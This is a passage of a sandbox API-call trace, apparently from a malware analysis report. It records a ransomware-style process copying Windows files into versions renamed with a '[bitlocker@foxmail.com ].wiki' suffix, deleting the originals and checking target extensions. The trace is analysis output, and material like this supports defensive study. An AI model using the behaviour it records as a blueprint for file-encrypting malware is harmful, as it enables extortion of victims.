hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.437] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.437] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.438] GetLastError () returned 0x0 [0045.438] ReadFile (in: hFile=0x170, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0045.439] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0045.441] ReadFile (in: hFile=0x170, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.441] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0045.441] SetEndOfFile (hFile=0x184) returned 1 [0045.441] CloseHandle (hObject=0x184) returned 1 [0045.442] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.442] SetEndOfFile (hFile=0x170) returned 1 [0045.443] CloseHandle (hObject=0x170) returned 1 [0045.443] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.443] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0045.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.443] lstrlenW (lpString=".doc") returned 4 [0045.443] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0045.443] lstrlenW (lpString=".docx") returned 5 [0045.443] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0045.443] lstrlenW (lpString=".pdf") returned 4 [0045.443] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0045.443] lstrlenW (lpString=".xls") returned 4 [0045.443] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0045.443] lstrlenW (lpString=".xlsx") returned 5 [0045.443] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0045.443] lstrlenW (lpString=".ppt") returned 4 [0045.443] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0045.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.443] lstrlenW (lpString=".zip") returned 4 [0045.444] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0045.444] lstrlenW (lpString=".rar") returned 4 [0045.863] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0045.863] lstrlenW (lpString=".bz2") returned 4 [0045.864] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0045.864] lstrlenW (lpString=".7z") returned 3 [0045.864] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0045.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.864] lstrlenW (lpString=".dbf") returned 4 [0045.864] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0045.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.864] lstrlenW (lpString=".1cd") returned 4 [0045.864] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0045.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.864] lstrlenW (lpString=".jpg") returned 4 [0045.864] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0045.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.864] lstrlenW (lpString=".doc") returned 4 [0045.864] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0045.864] lstrlenW (lpString=".docx") returned 5 [0045.864] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0045.864] lstrlenW (lpString=".pdf") returned 4 [0045.864] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0045.864] lstrlenW (lpString=".xls") returned 4 [0045.864] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0045.864] lstrlenW (lpString=".xlsx") returned 5 [0045.864] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0045.864] lstrlenW (lpString=".ppt") returned 4 [0045.864] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0045.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.864] lstrlenW (lpString=".zip") returned 4 [0045.864] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0045.864] lstrlenW (lpString=".rar") returned 4 [0045.864] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0045.864] lstrlenW (lpString=".bz2") returned 4 [0045.864] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0045.864] lstrlenW (lpString=".7z") returned 3 [0045.865] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0045.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.865] lstrlenW (lpString=".dbf") returned 4 [0045.865] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0045.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.865] lstrlenW (lpString=".1cd") returned 4 [0045.865] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0045.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0045.865] lstrlenW (lpString=".jpg") returned 4 [0045.865] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0045.865] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.865] lstrlenW (lpString="Setup.xml") returned 9 [0045.865] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.394] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31094) returned 1 [0046.394] CloseHandle (hObject=0x198) returned 1 [0046.394] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0046.394] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.394] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.394] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.394] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.394] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.395] GetLastError () returned 0x0 [0046.395] ReadFile (in: hFile=0x198, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x7976, lpOverlapped=0x0) returned 1 [0046.554] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0046.555] ReadFile (in: hFile=0x198, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.555] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.555] SetEndOfFile (hFile=0x1bc) returned 1 [0046.555] CloseHandle (hObject=0x1bc) returned 1 [0046.556] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.556] SetEndOfFile (hFile=0x198) returned 1 [0046.557] CloseHandle (hObject=0x198) returned 1 [0046.557] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.557] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.558] lstrlenW (lpString=".doc") returned 4 [0046.558] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString=".docx") returned 5 [0046.558] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.558] lstrlenW (lpString=".pdf") returned 4 [0046.558] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString=".xls") returned 4 [0046.558] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString=".xlsx") returned 5 [0046.558] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.558] lstrlenW (lpString=".ppt") returned 4 [0046.558] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.558] lstrlenW (lpString=".zip") returned 4 [0046.558] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.558] lstrlenW (lpString=".rar") returned 4 [0046.558] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString=".bz2") returned 4 [0046.558] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString=".7z") returned 3 [0046.558] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.558] lstrlenW (lpString=".dbf") returned 4 [0046.558] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.558] lstrlenW (lpString=".1cd") returned 4 [0046.558] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.558] lstrlenW (lpString=".jpg") returned 4 [0046.558] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.559] lstrlenW (lpString=".doc") returned 4 [0046.559] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.559] lstrlenW (lpString=".docx") returned 5 [0046.559] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.559] lstrlenW (lpString=".pdf") returned 4 [0046.559] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.559] lstrlenW (lpString=".xls") returned 4 [0046.559] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.559] lstrlenW (lpString=".xlsx") returned 5 [0046.559] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.559] lstrlenW (lpString=".ppt") returned 4 [0046.559] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.559] lstrlenW (lpString=".zip") returned 4 [0046.559] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.559] lstrlenW (lpString=".rar") returned 4 [0046.559] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.559] lstrlenW (lpString=".bz2") returned 4 [0046.559] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.559] lstrlenW (lpString=".7z") returned 3 [0046.559] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.559] lstrlenW (lpString=".dbf") returned 4 [0046.559] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.559] lstrlenW (lpString=".1cd") returned 4 [0046.559] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.559] lstrlenW (lpString=".jpg") returned 4 [0046.559] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.559] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.560] lstrlenW (lpString="boxed-delete.avi") returned 16 [0046.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.572] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31744) returned 1 [0046.572] CloseHandle (hObject=0x1bc) returned 1 [0046.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0046.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.572] lstrlenW (lpString=".doc") returned 4 [0046.572] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.572] lstrlenW (lpString=".docx") returned 5 [0046.572] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0046.572] lstrlenW (lpString=".pdf") returned 4 [0046.572] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.572] lstrlenW (lpString=".xls") returned 4 [0046.573] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString=".xlsx") returned 5 [0046.573] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0046.573] lstrlenW (lpString=".ppt") returned 4 [0046.573] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.573] lstrlenW (lpString=".zip") returned 4 [0046.573] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString=".rar") returned 4 [0046.573] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString=".bz2") returned 4 [0046.573] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString=".7z") returned 3 [0046.573] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.573] lstrlenW (lpString=".dbf") returned 4 [0046.573] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.573] lstrlenW (lpString=".1cd") returned 4 [0046.573] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.573] lstrlenW (lpString=".jpg") returned 4 [0046.573] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.573] lstrlenW (lpString=".doc") returned 4 [0046.573] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString=".docx") returned 5 [0046.573] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0046.573] lstrlenW (lpString=".pdf") returned 4 [0046.573] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString=".xls") returned 4 [0046.573] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.573] lstrlenW (lpString=".xlsx") returned 5 [0046.573] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0046.574] lstrlenW (lpString=".ppt") returned 4 [0046.574] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.574] lstrlenW (lpString=".zip") returned 4 [0046.574] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.574] lstrlenW (lpString=".rar") returned 4 [0046.574] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.574] lstrlenW (lpString=".bz2") returned 4 [0046.574] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.574] lstrlenW (lpString=".7z") returned 3 [0046.574] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.574] lstrlenW (lpString=".dbf") returned 4 [0046.574] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.574] lstrlenW (lpString=".1cd") returned 4 [0046.574] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0046.574] lstrlenW (lpString=".jpg") returned 4 [0046.574] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.574] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.574] lstrlenW (lpString="correct.avi") returned 11 [0046.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.574] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=197120) returned 1 [0046.574] CloseHandle (hObject=0x1bc) returned 1 [0046.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0046.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.575] lstrlenW (lpString=".doc") returned 4 [0046.575] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.575] lstrlenW (lpString=".docx") returned 5 [0046.575] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.575] lstrlenW (lpString=".pdf") returned 4 [0046.575] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.575] lstrlenW (lpString=".xls") returned 4 [0046.575] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.575] lstrlenW (lpString=".xlsx") returned 5 [0046.575] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.575] lstrlenW (lpString=".ppt") returned 4 [0046.575] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.575] lstrlenW (lpString=".zip") returned 4 [0046.575] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.575] lstrlenW (lpString=".rar") returned 4 [0046.575] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.575] lstrlenW (lpString=".bz2") returned 4 [0046.575] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.575] lstrlenW (lpString=".7z") returned 3 [0046.575] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.575] lstrlenW (lpString=".dbf") returned 4 [0046.575] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.575] lstrlenW (lpString=".1cd") returned 4 [0046.576] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.576] lstrlenW (lpString=".jpg") returned 4 [0046.576] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0046.576] lstrlenW (lpString=".doc") returned 4 [0046.576] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString=".docx") returned 5 [0046.576] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.576] lstrlenW (lpString=".pdf") returned 4 [0046.576] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString=".xls") returned 4 [0046.576] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.576] lstrlenW (lpString=".xlsx") returned 5 [0046.576] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.576] lstrlenW (lpString=".ppt") returned 4 